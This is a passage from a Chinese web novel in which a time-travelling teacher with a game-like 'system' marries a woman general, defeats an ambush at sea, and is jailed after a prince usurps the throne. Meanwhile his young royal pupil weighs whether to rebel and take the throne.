而名正言顺回到童启身边的赵天阙则依旧乖巧聪慧,在经历了一整年的磨练后,她的性格成长了许多,不再像小时候只一味的喜欢打架闹事,掀房追瓦了,而是变成了一个小书迷,几乎每日都在孜孜不倦的读书,疯狂吸收着童启身边所有的知识,什么事都要追问几句,如同海绵一般吸取着,看的童启既欣慰又心疼。 炎黄书院内的公子哥一开始还有些不习惯突然多出了个小师妹,可时间久了,发现其年龄虽小,文武却皆胜于他们,不由得好胜心也跟着燃烧起来,反而动力更强了一些。 时间就这么一日日过下去,仿佛无穷无尽,直到一则消息传到潭州,彻底点燃了童启的神经。 ——皇帝准备将岳灼华指给三皇子当侧妃了! 这消息来的蹊跷,无根无据,可因为是潘阆从徐常侍口中听说的,反而真实度极高。 这下,不少人直接慌了。 虽然说,岳灼华手上并没有多少兵权,可是她背后却站着柏将军啊!更何况还有一个柏老,如今正担任着华夏书院的代理山长,谁要是能拉拢过去,这可是巨大的助力! 三皇子自然高兴,认为陛下这完全就是向着自己。 可其他人就不满起来了。 尤其是大皇子一党。 “殿下,我们绝不能让此事做成!”汪启元严肃的说道。 他向大皇子建议不论如何,一定要干扰此事,若岳灼华和柏将军站到了三皇子那边,那大皇子这边就是真的没有任何反击的可能了。 然后一边拖延时间, 一边快速写了一封信给童启与柏老先生。 柏老听闻后,险些气的吐血,郁郁之下,竟然直接大病了过去。 岳灼华因此放下手中的事宜,快马加鞭前往伊川县探病,指婚的事情自然也就顺利中断。 童启拿着那封信,怔怔的坐在桌前,久久反应不过来。 本来还要犹豫一番,可打开抽屉后,看到他这些日子以来小心翼翼保存下来的每一封信件,几乎填满了整个抽屉,他顿时了悟了自己想要的究竟是什么。 当晚,他将书院的事情暂时托付给两位先生和折继世等人,连夜坐着马车,回了伊川。 此刻,柏老已经病的不行了,险些连人也认不出来。 若说一开始他还有点半装半演的成分,那么,在极度的忧心之下,他已经打心底里默认了只有自己真的死去,岳灼华才有资格丁忧,拒绝亲事。于是,到现在,已经是有点心存死志了。 岳灼华哭的伤心,守在病床前。 听到童启赶回,柏老强撑起半个身子,向他告罪。 “我恐怕不能再继续替你照顾书院了,这辈子我没有照顾好我的一群儿女,如今不能眼睁睁看着外孙女也踏入火坑,若能以我的死,绝了这场亲事,那么我这条老命也算是值了。” “不,您必须得活下去,我还有一个方法,替您解决此事,不需要您付出生命的代价?” “什么办法?” “您觉得,我做您的外孙女婿如何?岳姑娘,我来娶!” 童启说完,在场的所有人皆震惊在了原地,瞪大了眼睛,就连岳灼华都没有想到他会突然如此,整颗心顿时扬起了波涛,激荡不已。 “你不必为难自己,为了我们做出牺牲。” “不,我没有为难,我早就对岳姑娘抱有爱慕之情,只是一直没有机会说出来,此刻我想要得到您的允许,正式向岳姑娘提亲,不知道您可同意?” 这就像是心照不宣的默契突然被挑明。 岳灼华低下了头,第一次露出了少女的羞涩来。 憋了许久的话终于说出来了,童启这才感到久违的畅通。 其实从第一面开始,岳灼华便已经深深的吸引了童启,只是他没有发现而已,那个时候,两个人都很小,处于各自的命运漩涡中无法挣扎出来,各自有各自的目的,各自有各自的命题需要解决。而后续屡屡的伸出援手,美救英雄,则催生了那种崇拜感,令童启本能的感觉到安心与信任。 自打他来到古代来,便一直在伪装。 他强迫要求自己成为一个主导性很强的人,因为他要引领学子们一个个奔赴各自的未来,实现系统高压物理抹杀之下的各种奇葩任务。 什么封王拜相,割据谋反,那不是他的雄心壮志。 他只是一个平凡的辅导班老师罢了,后续,更是几乎成为了一个失败者,你问他能有什么大抱负?抱歉,那你是期待错人了。 什么桃李天下,声望值大增,他所强撑出来的强大形象,每一步都走在战战兢兢,试探之上。 或许,他是最丢人最保守的穿越者。 有着系统帮忙,还混成这幅模样,畏畏缩缩。 但不是人人都是英雄,都能做成英雄,他本身要的,就只是平凡的普通幸福人生罢了。 如果是在盛世,他可以就这么义无反顾,为国效力。可在大环境眼看着就要乱的情况下,你让他怎么去改变?他只能去做自己能做到的事情。 ——教好一个个学生,让他们飞得更高,集成一股力量,共同去改变自己想要选择的未来。 他几乎两世,都在为学生而活。 当然,不是某一个具体的学生,而是所有的学生。 习惯了压抑自己的渴望与需求。 直到岳灼华的出现,如同一道稳心剂,瞬间打入他的心尖,让他冷静下来,重新有信心去面对这残酷混乱的世界。 柏老也没有想到,两个看似从来没有交集过的人,竟然早已经两情相悦了。 更没有想到,最后啃了他家白菜的,竟然就一直近在咫尺。 这种复杂的心情,让他一时都有些扭转不过来。 而原本想要拿命换的外孙女的前程,如今也是彻底用不上了。 当然,童启来当他的孙女婿,他自然开心,可称呼上,却总是调整不过来,总是依旧叫做‘童山长’。 “既如此,那你们便需要尽快走六礼了,趁着赐婚之前,一切从简,你们快点成亲,到时木已成舟,圣上也不可能硬是抢人。” 柏老稍稍提起一些心性说道。 可童启却表示不急。 “我们可以正常的走礼,该有的,我们都得有。圣上那边,我来说就是。” 毕竟黄龙府一战,他的奖赏还没拿完,圣上曾说过,有什么要求皆可提,算是他欠他的。 那么,只是一个婚礼而已,他相信,皇帝还没那么小气。 况且,既然决定了要迎娶,那自然是光明正大,越盛大越好了,女子一辈子只有一次,不能敷衍了事。 尤其前一段与六皇子的赐亲,岳灼华还受了那样多的委屈,童启见此,就更想给她补足一个完整的婚礼了。 他先向系统定制了一系列的东西,用声望值兑换回来,然后便亲自射了两只大雁,带到了柏府去。 等时间确定下来,半个月之后过门,然后便是抬聘礼、买东西,发请帖。 这一次,童启拿出的所有请帖全部都是烫金的。 不仅所有老师,就连从华夏书院毕业的学生们也有,圣上那里他也递了两张,虽然知道他不会来,但是也代表了他的心意。 在收到童启成亲的消息后,圣上十分惊愕。 因为原本,他还想要给童启留给自己最宠爱的四女儿的,没想到,他竟然这么快就结婚了,而且还是他即将指给三皇子的人! 但想起童启没给自己要求过什么,这还是第一次求助。 他沉吟后,也没有阻止,而是派人送了一份礼,以表郑重。 反倒是三皇子,有些拎不清,特意千里迢迢给童启写了封信,质问他怎么敢跟自己抢亲。 但是,被童启明晃晃的忽视了。 他已经想清楚了,就是得罪了三皇子又有什么关系,反正他丹书铁券已经有了,徒弟们也都入朝了,他怕什么? 大不了掀桌子重来,支持某个学生上位谋反好了。 他不行,不代表他书院里的所有孩子们就都不行。 倒是潭州府的新学生们得知山长即将成亲,简直比童启还殷勤,搜集了很多新房布置的东西,连番送了过去。他们大多世家出身,用的东西也皆是上档次的,什么没见过,因此你送一个,我也送一个,到最后竟如攀比一般,倒是将童启的婚宴举办的极其盛大。 吴韧还特意从市舶司挑了几个相当好的红珊瑚与珍珠发了过来,以示庆祝。 杨舟万等人也各自送上了表礼,欣喜不已。 大家都对岳灼华的加入感到开心。 而童启结婚的事情,同样给各方也都带来了空前的震撼。 因为不少人都猜测过,说他会取一个世家贵女,来平衡自己的寒门出身,提高格局,可没想到,最后居然娶了一个武夫出身的女儿,这让不少喜文厌武的大儒们,都对此感到极其不舒服。 京中贵女便更是言岳灼华选错了。 如今嫁给三皇子的话,起步就是三皇子妃,等登基后,那可就是贵妃!一人之下,万人之上,哪里有不好的地方,可跟着一个教书先生呢?能有什么出息? 再厉害,不过也就是后辈徒弟多一点罢了。 毫无用处。 但外界舆论纷纷扰扰,对于童启与岳灼华的影响力,基本为零。 成亲,本就是他们两个人的事情,如人饮水,冷暖自知,只要自己觉得舒服,那就是最好的。 于是,当这场久违的婚礼终于浩浩荡荡登场时,光是陪嫁与聘礼,便几乎闪瞎了无数人的眼睛,抬箱子的侍卫小厮,近乎绵延了十里,其排场架势,简直比一些公主、世家女还要大的多! 喜官站在府门口,朗声报幕道: “聘礼单子:上好的红珊瑚盆栽十架。” “河南府、潭州府绝佳地段的商铺50间。” “成色漂亮的东珠1000枚。” “绝版书籍一万本。” “武器图谱及实物五百幅。” “纹银10万两。” “棉花布匹100匹。” …… 眼花缭乱的东西,令周围所有人倒抽了一口凉气。 他们不由想着,难道童启这是把所有东西都拿出来了? 自己就一点都不留的吗? 而再看看新娘子这边的嫁妆,那更是“富”出天际。 且不说原本柏家女儿带过去岳家的东西本就有许多,这些年以来,光是岳灼华自己攒下来的,柏大将军、柏老收集起来交给她压箱底的,便有着几百箱,且都是一些稀罕物。 什么兽皮、药材啊,什么绫罗绸缎、各种金饰啊。 不一而足,琳琅满目。 第136章 第136章圣上驾 崩 新婚当日,伊川县,十里红妆。 光是发喜糖就发了十几条街! 近乎大半个书院的所有学生,都来了! 整个河南府就从没见过这么多的官儿!光是抬人的轿子便摆满了整个山脚,新来的,则连挪都挪不进去。 不少看热闹的村民小声议论着。 “要不怎么说还得说童山长牌面大呢!光看这大婚来的人,便知道斤两,咱们伊川县好久没有这么热闹过了!” “可不是,前儿我还见丞相家的送礼来了呢,那府上的老管家一点没有桀骜的模样,说起话来和声和气的!” “丞相府算什么,那汪家小子不就是丞相女婿嘛,没有童启,哪来的他今日?一个商家子,靠着华夏书院,一路爬上朝堂高位,就是替师长磕头拜贡都使得的!” “那也是童启手握丹书铁券,颇得圣心的缘故,他们不敢得罪,不然换个其他的老秀才试试,理你就不错了!听说今儿圣上还派了人来唱和,这种面子,可不是人人都有的!” “嚯,圣上都派人来了?那肯定是非常喜欢童山长了,估摸着明年科举,六元及第,又得是华夏书院。” “先成家后立业,如今童山长成了亲,应该也要入朝为官了吧!” “我估摸着差不多,就算他不想进去,圣上应该也会特召进去!躲不掉的。” …… 盛大的婚礼祝福下,各路权贵势力都强势围观了童启与岳灼华的联合。 这一文一武,几乎囊括了如今整个大奉朝最拿得出手的两类人物。 一个是第一位女将军,黄龙府一战,战功赫赫。 另一位则是文学之首,华夏书院与炎黄书院的山长,教导出了一系列厉害的学生。 虽有些世家嫉妒的要死,硬说他们是寒门+武女,下等与下等结合。 但耐不住大多数人都觉得两人成婚是锦上添花,再没有如此般配的了。 而伴随着这场婚礼的落幕,边远之地内的辽国,耶律隆绪则愁的不行。 一个童启已经难搞了,再加一个岳灼华。 这是真的天要亡他辽国! 怎么就不能晚点再生这两人呢,哪怕错开一些呢?他也尚有一击之力,这下好了,两个人强强联合,他是彻底没有希望了。 猛不丁难度升级,搞得耶律隆绪丧失了所有的希望? 可这时,金国王子却传了信过来,表示此刻就是动手的最佳时机! 原来,童启与岳灼华大婚,制定了一个什么蜜月计划,两个人决定驾驶航船出海一月,不受任何人打扰,结束了再回来。 而等他们孤零零到了海上,即便岳灼华再难打,也是一人难敌四腿不是? 届时一波带走,还怕什么文武之盛? 耶律隆绪一想,顿觉有理,欣然同意,于是派遣了一千的好手前往,等在海上,准备围剿。 金国王子同样也蠢蠢欲动,他希冀着让对方付出代价很久了,更期待见到童启那难以置信被背叛的感觉,于是早早的领了兵守在港口内。 只要等对方的船只经过,便直接凿停,不怕他们死不了! 两拨人就这么死死的等在海上,看着云起云落,等了一整日,还以为是守错了地方,突然,远方一艘高大的船缓缓开了过来。 “来了来了!所有的弓箭手,准备!” 金国王子扬起手,一脸兴奋。 可还没等他们将弓箭架起来,对面的大船之上,几个奇奇怪怪的圆洞里,却赫然伸出了几枚炮筒。 像极了大炮的模样。 这不是只能在陆地上远程发射吗? 怎么船上也能架设? 还没想清楚,旗帜飞扬之间,几艘离得近的小船便已经被巨大的炮弹掀翻进海里。 别说射箭了,整个船炸的都快连完整的木板都没了! 不少体力不支的士兵直接便被巨浪掀翻,再也冒不起头来。 童启背着手和岳灼华站在甲板上,远远的看着水中沉浮的这些人,没有一点想要伸出援手的意思。 他们早就知道金国王子的身份了 在开学的第一天,其实系统就已经发出了警告,说是学生名字与实际人物不符合。 但当时童启因为出现过王世昌的事情,所以并没有很在意,还以为又是女扮男装之类的事情,后来才渐渐发现对方的不对劲之处。 明白了对方是冲着自己来的事实。 思来想去,童启总算明白了这人是谁。 估摸着就是几次三番想要自己命的金国王子了。 如今埋伏炎黄书院,那就只有一个目的,便是为了窃取动态,伺机而动。 既如此,童启也不惯着他,干脆给他一个机会,趁此引蛇出洞,一网打尽。 大奉朝已经经不起更多的战争了,因此大婚当晚,童启便和岳灼华说了这个计划。 作为将领,她自然同意,不仅如此,还完善了这项计划中的各种细节,力求把这群人搞死在海中!谁说童启只会爱学生,不会“杀学生”?当这个学生是为了别的目的而来,危害整个江山的性命时,童启也绝对不会手软! 金国王子死也没有想到,唯一的失策,竟然是败在了童启的身上。 望着远方那船上的大炮,他无奈的爬上小船,消失于大海之中。 强大金国是无望了。 只有他离开大奉朝境内,童启才能够放过金国的后代,不以此问罪,因此他不能回去,只得亲手断绝了自己的归乡之路!远渡他乡,如曹家一般,寻找大海深处更多的机会去。 而耶律隆绪派出去的一千多人,也在岳灼华副将的围堵下,死伤殆尽,一个也没有回去。 成功解决完野心勃勃的乱党,童启与岳灼华是彻底没有了压力与危机。 两个人水到渠成,在海上圆了房,因为多年的锻炼,童启看着纤瘦,却实际有肉,两个人床上配合起来,倒是越加契合。 食髓知味后,美美的度过了无人打扰的蜜月期,其中甜蜜,自不必细说。 且说童启和岳灼华远渡大海边,过着蜜月,大奉朝朝内,皇族们的斗争,也没有停止。 圣上自派人恭喜完童启的婚礼之后,便又重病晕厥了过去。 这一次,再没有上一次那般幸运,撑了三五日,便撒手而去。 整个朝野朝内,顿时缟素一片,痛哭不已。 而圣上临终前,召集了齐大人、胡丞相等阁老作为遗诏的宣读。 着立童启、徐将军、齐大人、胡丞相四人为顾命大臣,共同辅佐三皇子登基,彼此监督。 这份遗诏一出,众人皆惊。 可还没等真正实施下来,大皇子却已经带兵反了! 他当了几十年的大皇子,一直到最后临终前,都以为圣上会将王位传给他。 可终究,再努力的付出,再乖巧的表现,也敌不过圣山心中的偏爱,于是他听从其他人的建议,这乖孩子,我不做了! 他先是派人围攻了三皇子府,设法毒死了三皇子一家,然后带兵杀入了京城,要挟齐大人、胡丞相、徐将军等人篡改遗诏,立自己为帝。 否则,便要杀了所有人。 胡丞相怒不可遏,头痛不已。 他从未见过如此难带的人,你说只要好好的等着,他作为顾命大臣之一,怎么还不能将那个没脑子的三皇子拽下来呢? 偏偏要走这一招! 好嘛,乱臣贼子的名头一背负上去,谁还会管你是不是皇子,谁还会服从你的命令啊? 可饶是胡丞相百般劝说,大皇子却咬紧了牙,死活不听。 “现在老三已经死了,你们不立我,还能立谁?难道要立老六吗?他能比我更适合当这个皇帝?” 长久的对皇位的执着,多少已经让大皇子有点疯癫了。 齐大人等不敢刺激,只得先同意下来。 可大皇子的狠厉却并没有停止。 难怪其他人总说,一向老实的人发起疯来是最可怕的。 大皇子坐 上皇位后,并没有停止自己的疑神疑鬼,不仅没有重用一手扶持了自己多年的胡丞相,反而将他们家里的人全部下狱,罪名就是:忤逆犯上! 反倒是汪启元脱颖而出,逃出一劫,被连升几级,转眼间成为了最年轻的首辅大人,成功晋升为了大皇子的心腹。 一时间,汪家的门槛险些被踏破,瞬间成为最炙手可热的官员。 反倒是胡薇微特别接受不了,屡次质问汪启元,自己父亲的事情,是不是他刻意报复? 上了一整日的朝,汪启元心累不已,回来后,还要被围追堵截,他沉默了一会儿,站在阴影中反问。 “若真的是我,又如何呢?” 是啊,你能如何呢? 你们一家都已经下了狱,即便你不忿,气怒,又能如何? 结果会有什么改变吗? 就像是我之前被胡丞相以女婿之名呼来喝去的那些日子? “和离吧,我不会拖累你,你当初便是因着我的身份而迎娶,如今我这个丞相千金的名头也无用了,该给你腾位置了。” 她哭泣着说道。 头一次,一向高傲扬起的脑袋,终于再次低了下来。 而汪启元却只回了一句,“别傻了。” 不仅没有同意和离,还拜托了大理寺内的许明奕等人,让他们好生帮他照顾一下胡丞相。 毕竟……那也是曾经教养过他的人之一。 华夏书院的学生,从来就没有白眼狼的人。 谁也没想到,汪启元竟然这个时候,也没有抛弃自己的妻子,哪怕曾经她刁钻古怪的名声,响彻京都。 但因着这份不离不弃,反倒让汪启元的名声变得好了起来,首次被不少人称为,“君子。” 六君子雏形,由此初现。 就在大皇子发疯的时间段,有人不忿,举兵起义,有人却投的极快,争做第一个抱大腿的人。 那国子祭酒的徒弟,文铭川便是如此。 他率先面见了皇上,三呼万岁,认证大皇子的得位之正,然后禀告圣上,他要举报一个倒反天罡,以女子之身,考入朝堂之中,犯有欺君之罪的人! 这一连串的名头,让大皇子惊讶不已,忙问是谁。 而文铭川却表示,此人背景强大,乃华夏书院出身,经受童山长的包庇,四公主的遮挡,涉及人数之多,不敢擅言,只需将人叫到这里,亲自脱衣验身即可! 本就寻不到什么方法,可以治华夏书院的这一群人。 且童启还是先皇认定的顾命大臣之一,如今正抓不着,因此文铭川的这一告状,简直如同将枕头送到了正瞌睡的大皇子手中。 他立即着人宣王状元入宫,表明了要验明正身。 等四公主得知此事的时候,派人前往通报,已经来不及了。 “一定是我,一定是我上次试探王世昌公子身份时,被文铭川看到了,所以他才猜出了此事,不行,我不能就这么任由王姐姐被下狱,我要救她!” 许是临危有了急智,四公主忙令宫女叫来一位御医,假借自己已经怀了孕,而让她怀孕的始作俑者。 正是王世昌,王状元! 第137章 第137章反or不反 御医的诊案一路递到了大皇子案前,畅通无阻。 反倒比前去召唤王世昌的人还要更快几分。 “什么?四公主怀孕了?此事可为真?!” 他惊得站起,险些连脑袋上的冕旒都不小心撞掉。 别说他了,就是在场的徐常侍、文铭川等人都有些始料未及。 不是,什么时候的事? 他们怎么一点儿不知道,不是说拒婚了吗?都闹成那样了,还能怀上? 而大皇子则满脑子都是,大胆逆臣,竟然敢冒犯皇家威仪!未婚先孕,这可是妥妥的皇族之丑啊! 不行,必须将此事捂在肚子里,谁也不能说出去! 不然他家的女儿,他们皇室的其他女儿们,以后还怎么说亲? 岂不是丢人丢大发了? 若传出去,还得了? 文铭川一脸震惊,咬死了此事不可能发生。 “陛下,这绝无可能啊!我知道了,定是四公主为了替王世昌脱罪,所以才故意如此承认!我不信,还请圣上再请其他的大夫来一起诊治,莫要只听四公主的一家之言啊!” “荒唐,难不成你这是怀疑老夫的医术吗?”年近八十的老御医一脸气愤的炸毛道。 四公主更是捂着肚子,柔柔弱弱的走来,辩驳道,“文探花这话说的搞笑,难不成怀没怀孕,我这个本人竟然不知道,反倒是你更清楚一些?怎么,我们偷情的时候,你就在外面看着不成,竟敢如此笃定?” “莫要乱说!这哪里是女儿家说的话?” 眼见着妹妹越说越放肆,大皇子终究还是出声停止了这场闹剧。 再闹下去,谁都好不了。 与其关心王世昌是不是女扮男装,不如关心关心天家之丑! 那个史官,不准再记了听见没有! 难不成真的要让他们这一代丢尽了人吗? 至于原本说好的检查,自然也没了后续。 孩子都怀了,这王世昌怎么可能还是女的? 搞笑呢? 如今的问题是,尽快找人负责,举办婚事,不然等肚子大了,无可隐藏,那就真的是哗然天下了。 当问及起这件事的时候,王世昌率先犹豫了 一下,可看了眼四公主后,终究还是松口,承认了会负责。 看着他就此允诺下来,众人皆松了一口气。 幸好,幸好。 这王世昌是个真男人。 不然的话,按照这件事后续的发展,一路上不知道要再死多少人,受到惩罚,波及的人又有多少!而一旦被敲定王世昌身份有假,那么,今后的新科举子势必要更加严查,知道这是多大的工程量吗? 足以加班加点几个月的程度! 因此,即便真的有什么问题,也最好装作不知道,什么都没发生的好。 反正有四公主兜底。 大家也乐得相信最乐观的一种结局。 而文铭川则气的要死,他好不容易还以为逮住了王世昌的马脚,没想到最后,竟然所有人都站到了对方的那一边! 明明只差最后的一道坎了!说好的共同奋斗呢? “圣上,您可千万不要被他们给蒙蔽了啊!只要拿下王世昌,华夏书院便可迎刃而解,您不是一直想杀童启的吗?这可是最好的机会!” 如此大剌剌当着所有官员的面,说破了大皇子的心事。 对方简直有种无力的愤怒。 “莫要胡说,我何时说过这样的话!我一向敬仰童山长,你敢如此污蔑栽赃我?来人啊,将他投下大狱,他日问审!再说,再说的话,我定不饶你!” “可我真的没有胡说啊!我知道了,与四公主通奸的另有其人,定是那个双胞胎弟弟,王世昌的身份换过来了,她还有个双胞胎弟弟!” 文铭川胡乱着说出来,使劲儿挣扎着。 可再也没有人愿意相信他所说的话了。 徐常侍上前一把将解手的帕子塞到了他口中,令人强行拉了下去。 如今闹成如此模样,也没了其他的解决办法,大皇子只得匆匆给两人赐婚,将这件事压下。 可后续到底如何,无人再关心。 倒是出了大殿后,王世昌尴尬不已,再次见到四公主,两个人已经变了身份。 可哪怕知道了对方的真实模样,再见,四公主仍旧心动不已,觉得她英气十足。 远比弟弟,还要帅气。 “抱歉,我只是临时起意,想要替你遮掩,没想到……” 竟然误打误撞,成了逼婚了? “哪里,若不是公主提醒,我也不会有此防备。所以,我的真身,您已经知道了?” 四公主咬着唇,点了点头。 两个人尴尬的站立着,无声的寂静默默在两人之间流荡,四公主顺势邀请他前往自己的宫殿聊一聊,路上不由问起她这一路是如何走过来的事。 当听到对方换身份进入考场,不惜蹲在茅房里等待换身时,她不由瞪大了眼睛,头一次,露出了几分迷妹的模样来。 “真的假的?也太帅了吧?” 帅? 许是因为同性,这种毫无歧义的夸赞反而比男性的更加直白单纯,让王世昌忍不住脸颊泛红。 反正四公主不急着成亲,而王世昌也需要一个人来掩饰身份,两个人一拍板,决定将错就错下去,先假扮夫妻,互相帮着忙。 等危机度过了,再和离分开。 “你是我见到的以女子之身走到这个位置的人,若能够为你提供一点点的帮助,那么,仿佛我也加入到这种不可思议的事情之中了,我感到骄傲和自豪,因此,不必介意!” 四公主认真的讲道,令王世贞微微动容。 当然,两个人的成亲,即便再为隐秘,后续也仍旧有不少小道消息传了出去。 因此,王世昌的名声也受到了不少影响,好多自认清高的官员,自动远离了他,认为婚前无媒苟合乃非君子所为。 但好在四公主力挺,倒是让她原本茫然的前路,更加好走了一些。 而此刻,远在潭州府的赵天阙等人,也同时陷入了一股纠结之中。 终日因为一个问题,而感到头疼。 那就是——反,还是不反? 如今,大皇子得位不正,杀兄弟篡改遗诏登位,已经是不争的事实,举国各地都有起义军,反对此事,而汪启元师兄则递信给她,让她集结兵力,围攻京都,担任下一任皇帝,届时,将会里应外合,扶持我们,共成大计! 可他们如今才几岁啊? 已经到了可以单独办如此大事的时候了嘛? 稍有不留神,这可就是抄家灭族的后果啊! 李元昊急的抓耳挠腮,替赵天阙出着主意。 “哎呀,这有什么可犹豫的,当然是反啊!我都不知道你在纠结什么,皇位都已经送到你屁股底下了,有着汪师兄他们在,还愁什么愁?” 若是他的话,有人将这么大的土地拱手送给他,还有这么多人在背后鼎立支持,那他肯定在梦里都能够笑出声来! 而且,赵天阙还是名正言顺的赵家人,虽是女的,但也有继承权不是? 只要打出清君侧的旗号,一切,岂不是名正言顺?水到渠成? 赵天阙咬咬牙,仍旧没有松口。 其实,她也不清楚自己到底在犹豫什么。 什么女人不能做帝王,天下从未有过女帝,这种教育,她从小就没有接受过。 相反,童山长一以贯之给她说的都是,女人也要顶天立地!想做什么都可以做,哪怕在能力范围之外,那也可以先试了再说,只要不屈不挠,便一定能够成功,然后在实现梦想的基础上,力所能及的照顾更多的黎民百姓,大道为公即可。 她所接受的,一直是与其他师兄弟们同样的教育。 甚至因为从小跟在童山长身边被养大的缘故,她接触的面反倒要比汪师兄等人还更广泛一些。 比如《国富论》、《毛选文集》,有时候童启闲下来,甚至会背给她听,当作摇篮曲。 虽然那些作者,她听都没有听说过,但只是听里面的内容,便觉得触目惊心! 这远非寻常百姓所看的书! 可以说是屠龙术也绝不夸张! 因此她的思想是远比大奉朝很多人还要广的,虽然年纪小。 可她反复绸缪,最关键的,还是在于担心童启的态度。 从始至终她都知道,童启是反战的类型,尤其不喜欢大规模战争! 虽然他能够做出那样的武器和兵法,以及训兵之术,但那更像是被动之下的选择,而非主动。 这也是为什么明明谁都能看出来大奉朝没救了,可童启凑合凑合,还是能随便找一个皇子先站着队,却从来没有想过要造反的事。 他是做不到嘛? 不,他绝对做的到,可他不想。 “此次战役,一共死了几十万人。” 寥寥数语,不过历史书上一行字,可背后没有被记录的姓名,却是千千万万个真实的人。 当年,黄龙府之战结束后,谁也没想过要去索要战亡士兵的尸体,可是童启想到了! 不仅如此,他还强烈要求和书上携带这个要求,不然的话,绝不退兵! 哪怕那些尸体有的连四肢都已经凑不齐了,只剩下一个脑袋,或者一个躯干,可他仍旧派了不少人,将那些尸骨送回家乡厚葬,就连抚恤金,都是盯着三皇子一个个给出去的,决不让贪污一分! 而有的给不了的,则自费补贴。 宁愿如此,也要继续做。 那个时候,李元昊甚为不解,还特意询问过为什么要如此大费周章,山长是如何说的来着? 他只说了一句话,“忠魂回故里,浩荡满乾坤。” 说这话时的语气,赵天阙至此都记得。 自那之后,李元昊便死心塌地,再也没有想过什么入侵的事情。 他曾私下里跟赵天阙吐槽过,说“只那样一句话,我就知道,西夏绝对打不赢这场战,只要有山长的一日,便会有大把大把的战士义无反顾,为了这破旧的朝代而努力。” 所以,若她要反,此刻需要考虑的第一个人,便是童启的想 法。 她宁愿什么都不做,被骂做软弱,也不愿意看到山长与自己离心! 赵天阙如此耐心的等待着。 而京城里的不少其他人,也在等待着童启的归来。 尤其是先帝立的几位辅政大臣,都已经被大皇子相继入狱清算了,唯独剩下一个童启,逃出一劫。 那么,他回来之后,是会俯首称臣,将错就错呢? 还是痛斥大皇子的不忠不孝,令世人反抗抨击呢? 童启的态度,关系着后续出兵的人,到底是正义的一方,还是非正义的。 而童启本人,自然是不知道自己的身上,竟然被寄予了如此高的厚望。 反倒是系统的声望值一直在飙升,吓得他还以为是出了什么错。 纳闷不已。 【嘀,检测到声望值已超过200万,宿主获得为人师表成就,奖励高级抽奖券三张……】 【嘀,检测到声望值已超过250万,宿主获得硕果累累成就,奖励高级抽奖券三张……】 【嘀,检测到声望值已超过300万,宿主获得名师大儒成就,奖励高级抽奖券三张……】 要知道,只要声望值达到400万,桃李满天下的任务可就达成了! 而这一下子三连蹦,直接给童启整懵了。 什么情况,我最近什么也没干啊? 怎么声望值反倒哐哐涨? 我就成了个亲,总不能因此影响了声望值吧?难道已婚加成,这么高? 两个人就这么慢悠悠漂在海上与世无争达到度过了一个月,然后在溜达着往大陆回。 当船只缓缓靠岸的时候,老远就看见有人正等候在港口附近,像是要迎接他的模样。 童启那时还跟岳灼华乐呢。 “他们怎么知道我们这个时候回来?看来我的那些学生们,已经非常想念我的了。” 谁知道,两个人登陆后,却发现来的人竟然是几名衙役。 他们二话不说,直接将童启扣了下来,不仅手脚都锁了,还直接丢进了牢里。 “抱歉,童山长,圣上有令,我们也不得不从啊,您如今涉嫌聚众谋反,所以要暂时关押,有什么冤屈,等见了皇上,您在细说吧。” 童启:???等会儿,聚众谋反?谁啊?我吗?【你现在阅读的是 】 第138章(正文完) 第138章 第138章(正文完)女帝…… 再再再次被下狱! 说实话,童启都已经懒得去数自己这是第几次进牢房了。 好在这次虽然被关了进去,但衙役们依旧是比较尊敬的类型,不仅让他一个人单独住,还收拾的整整齐齐,要啥有啥,如果想往外递信,竟然也同意。 “童山长欸,我们虽然没有跟您见过面,但是您的名字却一直是如雷贯耳,当今的小阁老不就是您的徒弟吗?若哪日被放出去了,千万记得提携提携我们哥俩,莫记我们的仇就是。” 两个狱卒客客气气的将酒菜端上来,笔墨纸砚也伺候的明明白白。 童启一脸茫然。 “小阁老?你们说的谁啊?” “您竟然不知道?” 这下,换那两个狱卒懵了。 “半个月前,先皇殡天,立了齐大人、胡丞相、徐将军,以及您担任辅政大臣,共同辅佐三皇子,可新皇临时带兵闯入了皇城,改了诏,不仅毒死了三皇子一家,还将几位辅政大臣都下了狱,唯独您的学生汪启元汪大人被封为阁老,如今正替圣上处理政事呢,您竟然……浑然不知?” 啥玩意儿? 新皇登基? 汪启元被封为阁老?三皇子死了?那谁做的皇帝,大皇子吗? 后知后觉的童启这才意识到变了天,外面已经改朝换代了。 当两人简单的替他解释完这短短一个月内发生的事情后。 童启只有一个想法,那就是。 “风雨正式要开始了啊。” 哪怕这个阶段被压的再后,但要想平稳度过,终究还是得经历一遍,才能够浴火重生,全新开局。 对于大奉朝的未来,童启本人也没有信心会走向哪里。 因为他也看不清未来的方向。 即使大皇子登了基,这个皇位,他也做不了多久,因为名不正则言不顺,帝心不稳,下面的百姓官员也不会臣服。 尤其是大皇子本人还没有那个驾驭的能力。 拨乱反正。 而至于能够收拾烂摊子的其他皇子?抱歉,他去了皇城那么多次,还真没有看到过一个能担得起大梁成事的。 “这么说,您是谁也都不看好了?” “也不是。” 童启翘起二郎腿,坐在炕沿上,看着无形中凑过来的其他狱卒们,顿了一下,缓缓给他们继续分析起来。 “如今要想破局,只能由外向内。当自上而下的改革不成功的时候,便需要自下而上,重建一套体系才行。我有一学生,也是个皇室中人,虽是女子,却有龙凤之资,天生聪慧,懂兵法,明书理,只可惜年纪太小了,不然的话,若让她来当皇帝,也不错,大奉朝或许还能够再延长那么个几百年。” 嚯,这话说的,一下子让四周的人感到震惊不已。 评价如此高? 那看来,这人可支持啊! 暗地里,已经有人偷偷下起注,给赵天阙传起消息来。 而童启则浑然不知,继续在牢里整理着课本,每日吃好睡好,等待着被放出去的日子。 没错,他说的正是赵天阙。 对方若隐名埋姓一辈子,那成功率或许还不一定,但在皇城待了一整年,已经恢复了皇家身份,那么这个背景便已经能够起大用了,起码和其他乱党比起来,她是真正的师出有名。 虽然性别是女生。 但谁说女子就不能做皇帝了呢? 一张白纸能够接受的思想,可比那些已经成型,难以再更改三观的老油条合适多了。 童启越想越觉得有理,于是想写几封信暗暗让徒弟们支持一下天阙,去清君侧。 但如何让学生们接受女帝的思想,反而成为了一个很大的问题。 直到—— 他想要把那几封信发出去的一日,突然,狱卒将他解了镣铐,说道。 “不必再传信了,童山长,您的小徒弟已经登上皇位了。” 童启:??? 不是,这么快的吗? 且说那一日童启在牢中盛赞赵天阙,说她是大奉朝唯一的出路。 本是闲聊,但因为身为四大辅政大臣之一。 这句话传着传着,不知为何便被传了出去。 朝野各地听到这话,各怀心思。 